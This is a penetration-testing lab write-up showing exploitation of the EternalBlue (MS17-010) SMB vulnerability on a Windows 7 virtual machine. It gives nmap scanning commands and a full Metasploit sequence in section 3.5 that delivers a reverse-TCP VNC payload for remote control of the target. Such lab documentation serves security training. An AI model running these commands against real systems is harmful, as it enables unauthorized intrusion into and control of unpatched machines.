Windows 7 Penetration Testing Lab EternalBlue (MS17-010) Exploitation

@ArunVedha07

CONTENTS

1. Exploitation Project Documentation

1.1 Objective

The objective of this project is to demonstrate a standard vulnerability assessment and exploitation workflow within a controlled virtual environment. Using Kali Linux as the attacker machine and Windows 7 as the target system, the goal was to identify exposed services, evaluate potential weaknesses, confirm known vulnerabilities, and execute a safe proof of concept exploit for educational purposes.

1.2 Requirements

This project was performed using the following tools and configuration:

- Kali Linux (Attacker)
- Windows 7 (Victim system)
- Nmap for service enumeration and vulnerability scanning
- Nmap NSE scripts for automated vulnerability identification
- Metasploit Framework for exploitation
- VNC payload for remote session access
- Screenshots folder containing full evidence of each step

2. High-Level Summary

This assessment focused on identifying and exploiting the MS17-010 (EternalBlue) vulnerability on a Windows 7 machine.

The overall process involved:

- Scanning the target to identify open ports
- Detecting SMB service vulnerabilities
- Confirming exposure to CVE-2017-0143 (MS17-010)
- Executing a controlled proof of concept exploit
- Establishing remote graphical access to the compromised system

The project demonstrates a complete, end to end exploitation chain and showcases practical skills in reconnaissance, vulnerability analysis, and post-exploitation techniques in a safe lab environment.

3. Windows 7 Exploitation Assignment

3.1 Proof of Access

Evidence of successful exploitation and remote access is included in the /screenshots directory. This includes confirmation of a successful VNC session and command execution on the target system.

3.2 Initial Analysis

The assessment began with network scanning to identify available services on the target.

nmap <TARGET-IP> -A
Key observations:

- SMB service available on port 445
- System identified as Windows 7
- SMBv1 active, which is commonly associated with known legacy vulnerabilities

3.3 Service Analysis

To identify potential weaknesses in the SMB service, targeted NSE scripts were used:

nmap <TARGET-IP> -p 445 -sV --script smb-vuln-*
Results indicated:

- SMBv1 enabled
- The system exhibited characteristics consistent with the MS17-010 vulnerability

3.4 Vulnerability Discovery

CVE Identified:

- CVE-2017-0143 (MS17-010 — EternalBlue)

Description:
This vulnerability allows remote code execution on systems running SMBv1.The Nmap scripts and version detection confirmed that the target system had not been patched and was vulnerable to this exploit.

3.5 Exploitation Steps

The EternalBlue vulnerability (CVE-2017-0143) was targeted using the Metasploit Framework. The exploit module exploit/windows/smb/ms17_010_eternalblue was loaded and configured with the victim host details. The reverse VNC payload (payload/windows/x64/vncinject/reverse_tcp) was selected to gain interactive GUI access upon successful exploitation.

```
msfconsole
search CVE-2017-0143
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload payload/windows/x64/vncinject/reverse_tcp
options
set RHOSTS <target_IP>
set LHOST<kali_IP>
set LPORT 4522
set VIEWONLY false
options
exploit
```

3.6 Screenshots & Evidence

The following figures provide visual evidence of the exploitation process and confirmation of successful compromise:

- 01: Nmap full system scan identifying open ports and services.
- 02: SMB vulnerability scan results confirming SMBv1 is enabled.
- 03: CVE-2017-0143 (EternalBlue) vulnerability details.
- 04: Metasploit search results for MS17-010 exploit module.
- 05: EternalBlue (ms17_010_eternalblue) exploit module loaded.
- 06: Selected VNC inject payload for exploitation.
- 07: Final payload configuration (RHOST, LHOST, LPORT, VIEWONLY).
- 08: Exploit execution against the target.
- 09: Successful VNC session indicating full system compromise.

Screenshots are stored in the /screenshots directory as supporting evidence.